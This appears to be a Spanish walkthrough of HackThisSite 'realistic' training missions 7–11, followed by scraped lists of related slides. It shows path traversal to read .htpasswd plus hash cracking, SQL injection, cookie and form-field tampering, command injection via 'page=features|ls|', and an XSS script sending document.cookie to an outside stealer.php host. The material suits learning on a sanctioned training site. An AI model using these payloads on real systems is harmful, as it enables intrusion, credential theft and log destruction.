   war2.jpg                06-Feb-2004 00:26     71k
   war3.jpg                06-Feb-2004 00:26     39k



Vemos un directorio llamado admin, al entrar a ese directorio nos solicitan usuario
y contraseña. Al no introducir credenciales válidas nos muestra un mensaje de
error de Apache.

Siendo Apache el servidor utilizado y al ver la forma en que solicita la contraseña,
sabemos que se cuenta con un archivo:

.htaccess y otro similar (normalmente .htpassword) para autorizar la entrada al
mismo, asi que nuestra tarea ahora es leer este archivo, que sabemos se tiene
que localizar en el mismo directorio dentro de admin.

Como no podemos accesarlo directamente, haremos uso del mismo script que
busca y coloca las imagenes, de la siguiente forma:

http://www.hackthissite.org/missions/realistic/7/showimages.php?
file=images/admin/.htaccess

Esto nos muestra una pagina con unos links al final (debido a que no son
imagenes, nos muestra solo el link)

http://www.hackthissite.org/missions/realistic/7/AuthName
http://www.hackthissite.org/missions/realistic/7/AuthType%20Basic
http://www.hackthissite.org/missions/realistic/7/AuthUserFile
%20/usr/local/www/hackthissite.org/html/missions/realistic/7/images/admin/.htpas
swd
http://www.hackthissite.org/missions/realistic/7/require%20valid-user

Si limpiamos un poco tenemos que el .htaccess es como sigue:

AuthName
AuthType Basic
AuthUserFile
/usr/local/www/hackthissite.org/html/missions/realistic/7/images/admin/.htpasswd
require valis-user

Vemos que hace referencia al archivo .htpasswd en el mismo directorio...
entonces necesitamos ver que dice este archivo, es el que contiene el usuario y
contraseña permitida:

http://www.hackthissite.org/missions/realistic/7/showimages.php?
file=images/admin/.htpasswd

Y esta pagina nos muestra el link

administrator:$1$3hxAH...$gojarG2yocwDnqo.jx3qk0

que es una contraseña tipica en sistemas *nix, asi que la guardamos en un
archivo de texto y utilizamos john the ripper:
./john pass.txt

... despues de un tiempo considerable tenemos:

company       (administrator)
guesses: 1 time: 0:00:28:38 (3) c/s: 4396 trying: company

Asi que solo resta meter nuestro usuario administrator con password company.



United Banks Of America
One of America's Richest Men plans to donate $10,000,000 to a campaign set on
hunting down hackers and locking them up. Please, if you can't do this, then we're
all screwed. Can you hack in and move the money?

From:                                DarkOneWithANeed

Message: Hey man, you gotta help me out, Gary Hunter, one of the richest men in
America, has just deposited $10,000,000 into his bank account at the United
Banks Of America and plans to donate that money to a campaign to hunt down
and lock up all hackers. Now I've tried hacking their site but I'm just not good
enough. That's why I need your help, Here's a list of your objectives:
  1. Find the account of Gary Hunter (I don't know his account name).
  2. Move the $10,000,000 into the account dropCash.
  3. Clear The Logs, They're held in the folder 'logFiles'.

        I really hope you can do this, because if you can't we're all screwed.

Me registro...
busco informacion sobre usuarios... nada.

me intento registrar con caracteres raros para ver si hay algun mensaje de error...

Warning: sqlite_array_query() [function.sqlite-array-query]: unrecognized token:
"" in
/usr/local/www/hackthissite.org/html/missions/realistic/8/register2.php
on line 24

Me voy de nuevo a buscar usuarios...

Dado que el select tendria que ser algo similar a:

Select * from tabla WHERE usuario = 'usuario'

intentare modificarlo que para que sea:
Select * from tabla where usuario = 'usuario' or 'x'='x'
Asi que solo le agrego
usuario' or 'x' = 'x

y Voila!

Me da el listado de todos los usuarios registrados... busquemos al que nos
interesa.

GaryWilliamHunter

Hay varios parecidos, pero el primero similar tiene que ser el indicado.
Logueamos normalmente con nuestro usuario, haciendo uso de Live http headers,
vemos que hay una cookie con username y password, asi que lo que haremos
sera cambiar el accountUsername por el de gary y probaremos hacer la
trasferencia a la cuenta dropCash

javascript:void(document.cookie="accountUsername=GaryWilliamHunter");alert(
document.cookie)

Ok! primer objetivo conseguido... ahora a borrar los logs...

Vemos el codigo fuente de la pagina y existe un formulario para eliminar nuestro
log...

<form action='cleardir.php' method='POST'><input type='hidden' name='dir'
value='morphosisSQLFiles'><input type='submit' value='Clear Files In Personal
Folder'></form>

Haciendo uso de la misma tecnica cambiaremos el valor del objeto dir por el que
necesitamos eliminar 'logFiles'

javascript:alert(document.forms[0].dir.value="logFiles")

hecho... hemos finalizado esta prueba.


CrappySoft
Richard Conner's boss is refusing to pay him because of personal dislikes. He
would fire him but his contract forbids it. Help Richard get his paycheck!
From: R-Conner

Message: Hey man, how are you?
My name is Richard Conner and I work for CrappySoft.
I contacted you to ask your help. A friend of mine is in "Holy Word High School"
and he told me you hacked his grades so that he could pass his class. I kind of
have the same problem with my boss right now... My old boss sold the place and
my new boss doesn't like me. He can't fire me because I have a contract and
therefor, by not paying my salary on time, he hopes it will result in me leaving. He
always pays 20 days too late, now I'm broke and I can't afford any food. I know
there is a paying system in our site, but I can't use it because I'm not an
administrator. So, it would be really nice if you'd want to help me!
Here is the site: http://www.hackthissite.org/missions/mission9/
You can logon using my account:
Username: r-conner@crappysoft.com
Password: ilovemywork


Nos logueamos como r-conner
Y comenzamos a ver que hay en la pagina que podamos utilizar...

   ●   Mailing list: tiene una nota: This adds your email to the list, and at the same
       time, checks the list for anything without the '@' character and deletes it.
       (nada utilizable al momento)

   ●   Demo: You can test the software for 30 days, no installation needed! y una
       descarga de:
       http://www.hackthissite.org/missions/realistic/9/files/downloads/CrappyDem
       o.exe
       No me interesan los exes asi que ni siquiera lo abri.. pero si me interesan
       los directorios del sitio, asi que entro en /files/downloads/

   Parent Directory          05-Aug-2006 16:11       -
   CrappyDemo.exe            05-Aug-2006 16:11    18k

Ahi esta nuestra descarga.. pero veamos un directorio mas arriba, /files.

   Parent Directory          05-Aug-2006 16:11       -
   downloads/                05-Aug-2006 16:11       -
   logs/                     05-Aug-2006 16:11       -
   mailinglist/              05-Aug-2006 16:11       -




Index of /missions/realistic/9/files/logs

   Name                      Last modified       Size    Description




   Parent Directory          05-Aug-2006 16:11       -
   logs.txt                  05-Aug-2006 16:11      1k

http://www.hackthissite.org/missions/realistic/9/files/logs/logs.txt
216.239.57.99 - Login at 15:15 2003-11-5
209.73.164.91 - Bad Login at 03:40 2003-11-8

Interesante... aunque la prueba no decia nada al respecto... al final no
terminamos la prueba si no hacemos algo al respecto, luego lo veremos.


Index of /missions/realistic/9/files/mailinglist

   Name                      Last modified         Size   Description




   Parent Directory          05-Aug-2006 16:11        -
   addresses.txt             05-Aug-2006 16:11       1k

http://www.hackthissite.org/missions/realistic/9/files/mailinglist/addresses.txt
peter@scholengemeenschap.nl
lisa-mele2511@school-teacher.com
k.struder@basicschoolthehorse.com
nomadschool@hotmail.com
you@somedomain.com
thomas@code920.com
y.yeng@tokiomail.tw
lamonif@hotmail.com
r-conner@crappysoft.com
iam@home.com
kleinnico@hotmail.com
lol@hi.com
kleinnico@hotmail.com
mcaster@hackermail.com

Aca esta la lista de correos, no utiliza base de datos, sino que los correos los va
almacenando en este txt.

Tenemos tambien una pagina de contactos con un formulario para llenar, lo lleno
con '1 para ver como trabaja las comillas.... y obtengo el siguiente resultado:

Dear, '1
Your mail has been send, you will here from us as soon as posible.

Lo que dificulta cualquier explotacion por inyeccion o algo similar.

Private Message's: No tengo mensajes pero puedo enviar mensajes a una lista
que hay ahi, que incluye a m-crap (Company owner), el mero mero.

Pay Salary me dice que no soy administrador... como sabe que no soy
administrador?
reviso mis cookies:

javascript:alert(document.cookie)
Solo se me hace raro el intID=2, asi que intento modificarlo...
javascript:void(document.cookie="intID=0"); alert(document.cookie)
javascript:void(document.cookie="intID=1"); alert(document.cookie)
javascript:void(document.cookie="intID=3"); alert(document.cookie)
javascript:void(document.cookie="intID=4"); alert(document.cookie)

Pero sigo con el mismo resultado, asi que tiene que ser algo con mi username,
necesito loguearme como alguien mas... quien podria ser el administrador?....
hmmm el dueño tiene que tener acceso a todo asi que voy a intentar entrar como
el dueño... pero como lo lograremos?

Hace tiempos hubo un fallo de seguridad en php-nuke, que mandando un
mensaje privado al administrador, podiamos hacer que ejecutara un javascript
que lo enviaba a otra pagina para captar la informacion de la cookie, ya que la
cookie almacenaba la password cifrada, tal como en este caso, de esta forma no
es necesario crackear la password, sino que solo cambiamos nuestra cookie por
sus datos.

Asi que probaremos el robo de contraseña mediante injeccion de javascript en el
metodo de mensajes privados.

Este metodo lleva dos partes:

1- Hacer la parte que recibira los datos, puede ser php capturando informacion en
nuestro host.
2- El javascript que se encargara de robar la información de la cookie y enviarla a
nuestra pagina.

según hemos venido viendo en las pruebas, no son del todo reales, sin embargo
leen nuestra entrada y la evalúan para saber si hemos hecho las cosas correctas y
nos dan entrada, asi que no necesitaremos hacer la parte 1, que necesitamos
poner para la parte 2?

<script language="JavaScript">
document.location="http://www.pcamaleon.org/stealer.php?cookie=" + document.cookie;
</script>

Asi que metemos este codigo en el cuerpo del mensaje que enviaremos a m-crap
(Company owner)... luego recibiremos un mensaje de regreso:

It is not within the scope of this mission to actually check the XSS,
we assume you got the idea and your entry has passed basic checking...
so assume you have recieved the following cookie...
strUsername=m-crap%40crappysoft.com;
strPassword=94a35a3b7befff5eb2a8415af04aa16c;
intID=1

Tenemos el nombre de usuario y password cifrada del mero mero... asi
que lo que haremos ahora sera modificar nuestra cookie para que sea
la de el..

javascript:void(document.cookie="strUsername=m-crap%40crappysoft.com");alert(document.cookie)
javascript:void(document.cookie="strPassword=94a35a3b7befff5eb2a8415af04aa16c");alert(document.cookie)
javascript:void(document.cookie="intID=1");alert(document.cookie)




Listo, ahora si podemos entrar a Pay a nuestro querido amigo.

Despues de pagarle... nada mas paso, no hay mensaje que nos diga que ya
finalizamos la prueba, asi que lo que haremos sera ver como borramos el archivo
de logs que encontramos anteriormente... para esto retomamos la nota del
mailing list:

Enter your email address here:
(Note: This adds your email to the list, and at the same time, checks the list for
anything without the '@' character and deletes it.)

O sea que el script revisa lo que este escrito en addresses.txt y borra las lineas
que no tengan @.

Si lo redireccionamos para que en vez de revisar
http://www.hackthissite.org/missions/realistic/9/files/mailinglist/addresses.txt

revise
http://www.hackthissite.org/missions/realistic/9/files/logs/logs.txt

Automaticamente estaria borrando todo, ya que ninguna linea de logs.txt tiene @.

Asi que revisemos la pagina de mailing list...

<form action="subscribemailing.php" method="post">
<input type="hidden" name="strFilename" value="./files/mailinglist/addresses.txt">
<input type="text" name="strEmailAddress" value="you@somedomain.com">
<br>
<input type="submit" value="Subscribe!"

Ahi lo tenemos, de modo que si cambiamos este valor por la direccion de nuestro
logs.txt, tiene que resultar...


javascript:alert(document.forms[0].strFilename.value="./files/logs/logs.txt")

Luego click en subscribe... y Listo! finalizamos la mision.
Holy Word High School
Uptight religious fanatics are failing free-thinking students for questioning their
faith. Fulfill every teenage hacker's ultimate fantasy: hack into the school
database and change grades! This level has several different layers of security
and several different ways of completing it. Enjoy

From: Zach Sanchez

Message: hey man, it's me zach, I need a favor from you, I'm in big trouble.
if you'll remember, I go to that super uptight religious school. well, two of my
teachers are failing me because my lifestyle does not fall in line with their
moralistic rules for public behavior. My gym teacher even called me a 'long-haired
hippie faggot'! And if I fail any classes, I won't graduate.
Listen, can you hack into the school's grade database and make it so I'm passing
all my classes? I know they have this system set up on their website that allows
teachers to submit grades and stuff, and I heard you pulled a few things in the
past as well. Their webmaster was not thinking in terms of computer security
when he was designing the website, so it might be easy. Or not. Please check it
out here. The username to my account is 'Zach Sanchez' and my password is
'liberty638'. Thanks man!


Revisando la pagina no vemos mayor cosa donde a simple vista puedan ingresar
los maestros asi que nos vamos al codigo... y hay una imagen en blanco que hace
referencia al siguiente link:

http://www.hackthissite.org/missions/realistic/10/staff.php

asi que nos vamos para alla y es la pagina de login de los maestros, asi que
probaremos inyeccion de sql de nuevo, pero nos falta algun nombre de maestro
para probar...

Esto si resulto tedioso porque me fui a leer los nombres del staff y probe los
correos como username y luego solo lo que esta antes de la arroba como
username.. y no pude inyectar nada. Asi que comence a probar cosas logicas y
realmente sin ninguna base solo matando el tiempo... ya me comenzaba a
hostigar esta prueba, asi que comence a probar con el correo como username y lo
que va antes de la arroba como password... nada, luego lo que esta antes de la
arroba tanto como username como password... al final pude ingresar como
Samantha Miller (smiller@holycorss.edu), que por cierto, es la unica que esta
repetida.
Esto no gusto en lo absoluto por toda la perdida de tiempo que tuve en esta
prueba.. pero ni modo, asi lo habian preparado.

Al ingresar nos recibe el mensaje:
Welcome, Mrs. Samantha Miller! Please remember that access the staff
administration area is restricted to the district-supplied 'holy_teacher' web
browser.

En otras palabras, tenemos que estar utilizando el browser del distrito llamado
holy_teacher.... como no tenemos ese browser, tenemos que engañar al servidor
y hacerle creer que estamos utilizando ese browser... asi que me voy de nuevo a
la herramienta maestra en estas pruebas, si, se imaginan bien: HTTL LIVE
HEADERS... le doy refresh a la pagina para que almacene todo y ahi cambio el
parametro:

User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.7) Gecko/20060830
Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1)
por:

User-Agent: holy_teacher

Luego click en repetir... y entramos!

(Si no se quiere hacer de esta manera, que luego sale tedioso estar cambiando
esto cada vez, puede utilizarse otra forma como el plugin “user agent switcher”
para firefox)

Aca encontramos 3 botones:
-Check messages... nada interesante.
-Submit Grades... Sorry, Mrs. Samantha Miller, it is too late into the school year to change
grades now.
-Change grades... note: you are not an administrator so you cannot change
grades.

Asi que lo siguiente es hacernos administradores, como es que reconoce que no
somos administradores, revisemos las cookies:

javascript:alert(document.cookie)




admin=0... cambiemoslo por 1...
javascript:void(document.cookie="admin=1");alert(document.cookie)

Change Grades de nuevo...y Listo!
Vemos el listado de los alumnos, incluido el del haragan Zach Sanchez, asi que
veamos que notas tiene...

Al final vemos un mensaje:
Sorry, it is too late into the school year to change grades now. The grades will be
printed and mailed in just a few days.

Y donde dice Modify aparece un mensaje que dice “see below”.... o sea que no
podemos modificar...

Veamos el fuente de nuevo...

<form                                                            action="staff.php?
action=changegrades&changeaction=modrec&rec=4&studentid=1" method="post">
</form>
Bible study</td><td width=5>&nbsp;</td>
<td>
<input type="text" name="grade" value="2" size=4>
</td><td width=5>&nbsp;</td>
<td>
<input type="text" name="comments" value="Disruptful in class.">
</td><td width=5>&nbsp;</td><td>
<center>1</center></td><td width=5>&nbsp;</td><td>
<!--<input type="submit" value="modify"></form>-->see below</td>

En negrita lo mas interesante:
Una direccion que pasa variables por url:
action=changegrades
changeaction=modrec
rec=4
studentid=1

ademas en el formulario tenemos:
grade=2
comments=”Disruptful in class.”

asi que probemos algo:

pongamos en el url nuestra propia action:

http://www.hackthissite.org/missions/realistic/10/staff.php?
action=changegrades&changeaction=modrec&rec=4&studentid=1&grade=5&comment
s=Excelent student

Grades updated.
Luego damos un back.. y efectivamente ha sido modificado... ahora tenemos que
hacerlo con las demas clases.

Como lo hacemos?
Veamos la diferencia con las otras materias... lo que cambia es el rec=

4,0,6,5,7,1,9,3,8,2.... o sea, del 0 al 9.

Asi que solo vamos modificando esto y cuando hagamos el ultimo... voila! prueba
completada.
Heartland School District
Schools are supposed to prepare students for the outside world, but how can they
do this if students are kept from everything by overly-protective administrators?
Clear the blocked site list and help fight censorship in public schools.

From: Space46

Message: Hello, I'm space46 from space46.nod. Up until recently, BudgetServ
used to be a good host, but the company got new owners and some lame hosted
site was deleted somehow. The administrators think that it was me and they've
suspended my account. I've contacted them numerous times about getting my
files back but they refuse. As it so happens, I made a backup in my web root
named src.tar.gz right before the account was suspeneded. Can you get this file
back so that I can move to a better host?

http://www.hackthissite.org/missions/realistic/11/page.pl?page=test

open(file, "pages/test") failed: No such file or directory

http://www.hackthissite.org/missions/realistic/11/page.pl?page=features|ls|

admin
bs.dbase
frontpage.gif
letter.gif
logo.gif
ms.gif
mysql.gif
order.pl
page.pl
pages
perl.gif
php.gif
server.gif
sqlite.png
suspended.html
tux.gif
webmail.php

Weitere ähnliche Inhalte

Was ist angesagt?

Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)
Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)
Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)OWASP Ottawa
 
DNS hijacking using cloud providers – No verification needed
DNS hijacking using cloud providers – No verification neededDNS hijacking using cloud providers – No verification needed
DNS hijacking using cloud providers – No verification neededFrans Rosén
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesAbraham Aranguren
 
word2vec - From theory to practice
word2vec - From theory to practiceword2vec - From theory to practice
word2vec - From theory to practicehen_drik
 
Test Driven Development With Python
Test Driven Development With PythonTest Driven Development With Python
Test Driven Development With PythonSiddhi
 
Diferencia entre verificación y validación de software
Diferencia entre verificación y validación de softwareDiferencia entre verificación y validación de software
Diferencia entre verificación y validación de softwareIsrael Rey
 
COSCUP 2016 - LLVM 由淺入淺
COSCUP 2016 - LLVM 由淺入淺COSCUP 2016 - LLVM 由淺入淺
COSCUP 2016 - LLVM 由淺入淺宗凡 楊
 
OWASP API Security Top 10 - API World
OWASP API Security Top 10 - API WorldOWASP API Security Top 10 - API World
OWASP API Security Top 10 - API World42Crunch
 

Was ist angesagt? (14)

Tutorial ISA Server
Tutorial ISA ServerTutorial ISA Server
Tutorial ISA Server
 
Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)
Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)
Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)
 
DNS hijacking using cloud providers – No verification needed
DNS hijacking using cloud providers – No verification neededDNS hijacking using cloud providers – No verification needed
DNS hijacking using cloud providers – No verification needed
 
Hacking_SharePoint_FINAL
Hacking_SharePoint_FINALHacking_SharePoint_FINAL
Hacking_SharePoint_FINAL
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
 
Selenium (1)
Selenium (1)Selenium (1)
Selenium (1)
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 
word2vec - From theory to practice
word2vec - From theory to practiceword2vec - From theory to practice
word2vec - From theory to practice
 
Test Driven Development With Python
Test Driven Development With PythonTest Driven Development With Python
Test Driven Development With Python
 
Diferencia entre verificación y validación de software
Diferencia entre verificación y validación de softwareDiferencia entre verificación y validación de software
Diferencia entre verificación y validación de software
 
Race condition
Race conditionRace condition
Race condition
 
Hydra
HydraHydra
Hydra
 
COSCUP 2016 - LLVM 由淺入淺
COSCUP 2016 - LLVM 由淺入淺COSCUP 2016 - LLVM 由淺入淺
COSCUP 2016 - LLVM 由淺入淺
 
OWASP API Security Top 10 - API World
OWASP API Security Top 10 - API WorldOWASP API Security Top 10 - API World
OWASP API Security Top 10 - API World
 

Andere mochten auch

Hack this site
Hack this siteHack this site
Hack this siteikram
 
8 Simple Ways to Hack Your Joomla
8 Simple Ways to Hack Your Joomla8 Simple Ways to Hack Your Joomla
8 Simple Ways to Hack Your JoomlaSiteGround.com
 
Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012beched
 
Pamphlet - On the Green Road
Pamphlet - On the Green RoadPamphlet - On the Green Road
Pamphlet - On the Green RoadJeffery Wilson
 
Taller Hacking Ético #Sysmana2012
Taller Hacking Ético #Sysmana2012Taller Hacking Ético #Sysmana2012
Taller Hacking Ético #Sysmana2012iesgrancapitan.org
 

Andere mochten auch (7)

Hack this site
Hack this siteHack this site
Hack this site
 
8 Simple Ways to Hack Your Joomla
8 Simple Ways to Hack Your Joomla8 Simple Ways to Hack Your Joomla
8 Simple Ways to Hack Your Joomla
 
Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012
 
Pamphlet - On the Green Road
Pamphlet - On the Green RoadPamphlet - On the Green Road
Pamphlet - On the Green Road
 
Apuntes 3ºeso
Apuntes 3ºesoApuntes 3ºeso
Apuntes 3ºeso
 
Osstmm
OsstmmOsstmm
Osstmm
 
Taller Hacking Ético #Sysmana2012
Taller Hacking Ético #Sysmana2012Taller Hacking Ético #Sysmana2012
Taller Hacking Ético #Sysmana2012
 

Ähnlich wie Hackthissite

Visual basic script v1 wd
Visual basic script v1 wdVisual basic script v1 wd
Visual basic script v1 wdRomny Villegas
 
Encriptacion y crackmes_en_batch_desde_0_by_xassiz
Encriptacion y crackmes_en_batch_desde_0_by_xassizEncriptacion y crackmes_en_batch_desde_0_by_xassiz
Encriptacion y crackmes_en_batch_desde_0_by_xassizChristian Chauca Bravo
 
C# conexión sql server2012-visualstudio2012-mantenimientos
C#   conexión sql server2012-visualstudio2012-mantenimientosC#   conexión sql server2012-visualstudio2012-mantenimientos
C# conexión sql server2012-visualstudio2012-mantenimientosJomar Burgos Palacios
 
Compilador Usando Jflex y Cup
Compilador Usando Jflex y CupCompilador Usando Jflex y Cup
Compilador Usando Jflex y Cupditopo
 
Capítulo 1 Qbasic entrada y salida básica
Capítulo 1  Qbasic entrada y salida básicaCapítulo 1  Qbasic entrada y salida básica
Capítulo 1 Qbasic entrada y salida básicaJulio Ayala Rolón
 
Gissel resumen videos 5,7,8,9,13,14
Gissel resumen videos 5,7,8,9,13,14Gissel resumen videos 5,7,8,9,13,14
Gissel resumen videos 5,7,8,9,13,14XiomaraGLM616
 
Software para cálculos matemáticos
Software para cálculos matemáticosSoftware para cálculos matemáticos
Software para cálculos matemáticosdaniimoyano
 
Clase 9 - Funciones de Python para programacion
Clase 9 - Funciones de Python para programacionClase 9 - Funciones de Python para programacion
Clase 9 - Funciones de Python para programacionCarlos598286
 
Angel resumen videos 5,7,8,9,13,14
Angel resumen videos 5,7,8,9,13,14Angel resumen videos 5,7,8,9,13,14
Angel resumen videos 5,7,8,9,13,14ReynelM199610
 
Conexion de c sharp a my sql
Conexion de c sharp a my sqlConexion de c sharp a my sql
Conexion de c sharp a my sqlJulian Benavidez
 

Ähnlich wie Hackthissite (20)

Solucion reto breach
Solucion reto breachSolucion reto breach
Solucion reto breach
 
Visual basic script v1 wd
Visual basic script v1 wdVisual basic script v1 wd
Visual basic script v1 wd
 
Vb script hx-c-wd
Vb script hx-c-wdVb script hx-c-wd
Vb script hx-c-wd
 
Vb script hx-c-wd
Vb script hx-c-wdVb script hx-c-wd
Vb script hx-c-wd
 
Encriptacion y crackmes_en_batch_desde_0_by_xassiz
Encriptacion y crackmes_en_batch_desde_0_by_xassizEncriptacion y crackmes_en_batch_desde_0_by_xassiz
Encriptacion y crackmes_en_batch_desde_0_by_xassiz
 
C# conexión sql server2012-visualstudio2012-mantenimientos
C#   conexión sql server2012-visualstudio2012-mantenimientosC#   conexión sql server2012-visualstudio2012-mantenimientos
C# conexión sql server2012-visualstudio2012-mantenimientos
 
5 curso
5 curso5 curso
5 curso
 
As3 unidad 13 imprimir y enviar mails desde flash
As3 unidad 13 imprimir y enviar mails desde flashAs3 unidad 13 imprimir y enviar mails desde flash
As3 unidad 13 imprimir y enviar mails desde flash
 
01 el lenguaje Python
01 el lenguaje Python01 el lenguaje Python
01 el lenguaje Python
 
Codigo
CodigoCodigo
Codigo
 
Compilador Usando Jflex y Cup
Compilador Usando Jflex y CupCompilador Usando Jflex y Cup
Compilador Usando Jflex y Cup
 
Capítulo 1 Qbasic entrada y salida básica
Capítulo 1  Qbasic entrada y salida básicaCapítulo 1  Qbasic entrada y salida básica
Capítulo 1 Qbasic entrada y salida básica
 
Gissel resumen videos 5,7,8,9,13,14
Gissel resumen videos 5,7,8,9,13,14Gissel resumen videos 5,7,8,9,13,14
Gissel resumen videos 5,7,8,9,13,14
 
Software para cálculos matemáticos
Software para cálculos matemáticosSoftware para cálculos matemáticos
Software para cálculos matemáticos
 
Perl1 escalares
Perl1 escalaresPerl1 escalares
Perl1 escalares
 
Clase 9 - Funciones de Python para programacion
Clase 9 - Funciones de Python para programacionClase 9 - Funciones de Python para programacion
Clase 9 - Funciones de Python para programacion
 
Burbuja net
Burbuja netBurbuja net
Burbuja net
 
Solución reto null byte
Solución reto null byteSolución reto null byte
Solución reto null byte
 
Angel resumen videos 5,7,8,9,13,14
Angel resumen videos 5,7,8,9,13,14Angel resumen videos 5,7,8,9,13,14
Angel resumen videos 5,7,8,9,13,14
 
Conexion de c sharp a my sql
Conexion de c sharp a my sqlConexion de c sharp a my sql
Conexion de c sharp a my sql
 

Kürzlich hochgeladen

Herramientas que posibilitan la información y la investigación.pdf
Herramientas que posibilitan la información y la investigación.pdfHerramientas que posibilitan la información y la investigación.pdf
Herramientas que posibilitan la información y la investigación.pdfKarinaCambero3
 
Trabajando con Formasy Smart art en power Point
Trabajando con Formasy Smart art en power PointTrabajando con Formasy Smart art en power Point
Trabajando con Formasy Smart art en power PointValerioIvanDePazLoja
 
certificado de oracle academy cetrificado.pdf
certificado de oracle academy cetrificado.pdfcertificado de oracle academy cetrificado.pdf
certificado de oracle academy cetrificado.pdfFernandoOblitasVivan
 
TENDENCIAS DE IA Inteligencia artificial generativa.pdf
TENDENCIAS DE IA Inteligencia artificial generativa.pdfTENDENCIAS DE IA Inteligencia artificial generativa.pdf
TENDENCIAS DE IA Inteligencia artificial generativa.pdfJoseAlejandroPerezBa
 
Nomisam: Base de Datos para Gestión de Nómina
Nomisam: Base de Datos para Gestión de NóminaNomisam: Base de Datos para Gestión de Nómina
Nomisam: Base de Datos para Gestión de Nóminacuellosameidy
 
TECNOLOGIA 11-4.8888888888888888888888888
TECNOLOGIA 11-4.8888888888888888888888888TECNOLOGIA 11-4.8888888888888888888888888
TECNOLOGIA 11-4.8888888888888888888888888ElianaValencia28
 
La electricidad y la electronica.10-7.pdf
La electricidad y la electronica.10-7.pdfLa electricidad y la electronica.10-7.pdf
La electricidad y la electronica.10-7.pdfcristianrb0324
 
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptxHugoGutierrez99
 
Trabajo de tecnología primer periodo 2024
Trabajo de tecnología primer periodo 2024Trabajo de tecnología primer periodo 2024
Trabajo de tecnología primer periodo 2024anasofiarodriguezcru
 
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdfBetianaJuarez1
 
tecnologiaactividad11-240323205859-a9b9b9bc.pdf
tecnologiaactividad11-240323205859-a9b9b9bc.pdftecnologiaactividad11-240323205859-a9b9b9bc.pdf
tecnologiaactividad11-240323205859-a9b9b9bc.pdflauralizcano0319
 
Tecnología Educativa- presentación maestría
Tecnología Educativa- presentación maestríaTecnología Educativa- presentación maestría
Tecnología Educativa- presentación maestríaElizabethLpezSoto
 
TinkerCAD y figuras en 3D. Uso del programa TinkerCAD para crear fuguras.
TinkerCAD y figuras en 3D. Uso del programa TinkerCAD para crear fuguras.TinkerCAD y figuras en 3D. Uso del programa TinkerCAD para crear fuguras.
TinkerCAD y figuras en 3D. Uso del programa TinkerCAD para crear fuguras.radatoro1
 
Trabajo de tecnología liceo departamental
Trabajo de tecnología liceo departamentalTrabajo de tecnología liceo departamental
Trabajo de tecnología liceo departamentalEmanuelCastro64
 
CommitConf 2024 - Spring Boot <3 Testcontainers
CommitConf 2024 - Spring Boot <3 TestcontainersCommitConf 2024 - Spring Boot <3 Testcontainers
CommitConf 2024 - Spring Boot <3 TestcontainersIván López Martín
 
ORIENTACIONES DE INFORMÁTICA-2024.pdf-guia
ORIENTACIONES DE INFORMÁTICA-2024.pdf-guiaORIENTACIONES DE INFORMÁTICA-2024.pdf-guia
ORIENTACIONES DE INFORMÁTICA-2024.pdf-guiaYeimys Ch
 
Actividades de computación para alumnos de preescolar
Actividades de computación para alumnos de preescolarActividades de computación para alumnos de preescolar
Actividades de computación para alumnos de preescolar24roberto21
 
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024u20211198540
 
Clasificación de Conjuntos de Datos Desequilibrados.pptx
Clasificación de Conjuntos de Datos Desequilibrados.pptxClasificación de Conjuntos de Datos Desequilibrados.pptx
Clasificación de Conjuntos de Datos Desequilibrados.pptxCarolina Bujaico
 
Trabajo de Tecnología .pdfywhwhejsjsjsjsjsk
Trabajo de Tecnología .pdfywhwhejsjsjsjsjskTrabajo de Tecnología .pdfywhwhejsjsjsjsjsk
Trabajo de Tecnología .pdfywhwhejsjsjsjsjskbydaniela5
 

Kürzlich hochgeladen (20)

Herramientas que posibilitan la información y la investigación.pdf
Herramientas que posibilitan la información y la investigación.pdfHerramientas que posibilitan la información y la investigación.pdf
Herramientas que posibilitan la información y la investigación.pdf
 
Trabajando con Formasy Smart art en power Point
Trabajando con Formasy Smart art en power PointTrabajando con Formasy Smart art en power Point
Trabajando con Formasy Smart art en power Point
 
certificado de oracle academy cetrificado.pdf
certificado de oracle academy cetrificado.pdfcertificado de oracle academy cetrificado.pdf
certificado de oracle academy cetrificado.pdf
 
TENDENCIAS DE IA Inteligencia artificial generativa.pdf
TENDENCIAS DE IA Inteligencia artificial generativa.pdfTENDENCIAS DE IA Inteligencia artificial generativa.pdf
TENDENCIAS DE IA Inteligencia artificial generativa.pdf
 
Nomisam: Base de Datos para Gestión de Nómina
Nomisam: Base de Datos para Gestión de NóminaNomisam: Base de Datos para Gestión de Nómina
Nomisam: Base de Datos para Gestión de Nómina
 
